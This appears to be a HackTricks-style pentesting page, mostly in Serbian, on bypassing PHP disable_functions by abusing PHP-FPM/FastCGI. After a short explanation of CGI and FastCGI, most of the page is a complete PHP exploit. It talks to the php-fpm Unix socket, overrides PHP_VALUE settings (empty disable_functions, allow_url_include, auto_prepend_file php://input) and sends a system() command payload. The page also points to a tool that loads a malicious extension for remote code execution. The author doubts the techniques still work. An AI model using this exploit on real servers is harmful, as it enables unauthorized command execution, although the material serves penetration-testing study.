PHP-FPM se predstavlja kao superiorna alternativa standardnom PHP FastCGI, nudeći funkcije koje su posebno korisne za veb sajtove sa visokim prometom. Radi kroz master proces koji nadgleda skup radnih procesa. Za zahtev PHP skripte, to je veb server koji inicira FastCGI proxy vezu sa PHP-FPM servisom. Ovaj servis ima sposobnost da prima zahteve ili putem mrežnih portova na serveru ili Unix soketa.
I pored posredničke uloge proxy veze, PHP-FPM mora biti operativan na istoj mašini kao veb server. Veza koju koristi, iako je zasnovana na proxy-ju, razlikuje se od konvencionalnih proxy veza. Kada primi zahtev, dostupan radnik iz PHP-FPM ga obrađuje—izvršavajući PHP skriptu i zatim prosleđujući rezultate nazad veb serveru. Nakon što radnik završi obradu zahteva, ponovo postaje dostupan za nadolazeće zahteve.
Ali šta je CGI i FastCGI?
CGI
Normalno, veb stranice, fajlovi i svi dokumenti koji se prenose sa veb servera na pregledač čuvaju se u određenom javnom direktorijumu kao što je home/user/public_html. Kada pregledač zatraži određeni sadržaj, server proverava ovaj direktorijum i šalje potrebni fajl pregledaču.
Ako je CGI instaliran na serveru, specifični cgi-bin direktorijum se takođe dodaje, na primer home/user/public_html/cgi-bin. CGI skripte se čuvaju u ovom direktorijumu. Svaki fajl u direktorijumu se tretira kao izvršni program. Kada se pristupa skripti iz direktorijuma, server šalje zahtev aplikaciji, odgovornoj za ovu skriptu, umesto da šalje sadržaj fajla pregledaču. Nakon što se obrada ulaznih podataka završi, aplikacija šalje izlazne podatke veb serveru koji prosleđuje podatke HTTP klijentu.
Na primer, kada se pristupi CGI skripti http://mysitename.com/cgi-bin/file.pl, server će pokrenuti odgovarajuću Perl aplikaciju putem CGI. Podaci generisani izvršavanjem skripte biće poslati od strane aplikacije veb serveru. Server, s druge strane, će preneti podatke pregledaču. Ako server nije imao CGI, pregledač bi prikazao .pl kod fajla. (objašnjenje ovde)
FastCGI
FastCGI je novija veb tehnologija, poboljšana verzija CGI jer glavna funkcionalnost ostaje ista.
Potrebno je razviti FastCGI zbog brzog razvoja i složenosti aplikacija, kao i da se reše problemi skalabilnosti CGI tehnologije. Da bi se zadovoljili ti zahtevi, Open Market je uveo FastCGI – visoko performansnu verziju CGI tehnologije sa poboljšanim mogućnostima.
disable_functions bypass
Moguće je pokrenuti PHP kod zloupotrebom FastCGI i izbegavanjem ograničenja disable_functions.
Via Gopherus
Nisam siguran da li ovo radi u modernim verzijama jer sam jednom probao i nije izvršilo ništa. Molim vas, ako imate više informacija o ovome, kontaktirajte me putem [PEASS & HackTricks telegram grupe ovde](https://t.me/peass), ili na twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Korišćenjem Gopherus možete generisati payload koji ćete poslati FastCGI slušaču i izvršiti proizvoljne komande:
Uploading and accessing this script exploit će biti poslat FastCGI (onemogućavanje disable_functions) i navedene komande će biti izvršene.
PHP exploit
Nisam siguran da li ovo radi u modernim verzijama jer sam jednom probao i nisam mogao da izvršim ništa. U stvari, uspeo sam da vidim da phpinfo() iz FastCGI izvršenja pokazuje da je disable_functions prazan, ali PHP (na neki način) je i dalje sprečavao da izvršim bilo koju prethodno onemogućenu funkciju. Molim vas, ako imate više informacija o ovome kontaktirajte me putem [PEASS & HackTricks telegram grupe ovde](https://t.me/peass), ili twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable_functionsempty:
Dakle, mislim da možete postaviti disable_functions samo putem php .ini konfiguracionih fajlova i da PHP_VALUE neće prepisati tu postavku.
This is a php script to exploit fastcgi protocol to bypass open_basedir and disable_functions.
It will help you to bypass strict disable_functions to RCE by loading the malicious extension.
You can access it here: https://github.com/w181496/FuckFastcgi or a sligtly modified and improved version here: https://github.com/BorelEnzo/FuckFastcgi
You will find that the exploit is very similar to the previous code, but instead of trying to bypass disable_functions using PHP_VALUE, it tries to load an external PHP module to execute code using the parameters extension_dir and extension inside the variable PHP_ADMIN_VALUE.
NAPOMENA1: Verovatno ćete morati da ponovo kompajlirate ekstenziju sa istom PHP verzijom koju server koristi (možete to proveriti unutar izlaza phpinfo):
NAPOMENA2: Uspelo mi je da ovo funkcioniše tako što sam ubacio vrednosti extension_dir i extension unutar PHP .ini konfiguracionog fajla (nešto što nećete moći da uradite napadajući server). Ali iz nekog razloga, kada koristim ovaj exploit i učitam ekstenziju iz PHP_ADMIN_VALUE varijable, proces jednostavno umre, tako da ne znam da li je ova tehnika još uvek validna.